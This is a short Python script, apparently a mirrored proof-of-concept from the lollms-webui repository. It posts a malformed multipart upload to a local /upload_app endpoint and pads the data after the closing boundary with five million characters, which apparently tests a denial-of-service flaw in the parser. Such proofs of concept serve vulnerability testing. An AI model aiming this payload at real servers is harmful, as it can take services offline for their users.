mirror of
https://github.com/ParisNeo/lollms-webui.git
synced 2025-01-28 07:04:13 +00:00
22 lines
689 B
Python
22 lines
689 B
Python
import requests
|
|
|
|
num = 5000000
|
|
url = "http://localhost:9600/upload_app"
|
|
headers = {
|
|
"Content-Type": "multipart/form-data; boundary=---------------------------284178091740602105783377960069"
|
|
}
|
|
|
|
# The exact raw payload as specified
|
|
data = (
|
|
"-----------------------------284178091740602105783377960069\r\n"
|
|
'Content-Disposition: form-data; name="uploadFile"; filename="test.txt"\r\n'
|
|
"Content-Type: text/plain\r\n\r\n"
|
|
"Hello I am test\r\n"
|
|
"-----------------------------284178091740602105783377960069--" + "4" * num + "\r\n"
|
|
)
|
|
|
|
response = requests.post(url, headers=headers, data=data.encode("utf-8"), verify=False)
|
|
|
|
print(response.status_code)
|
|
print(response.text)
|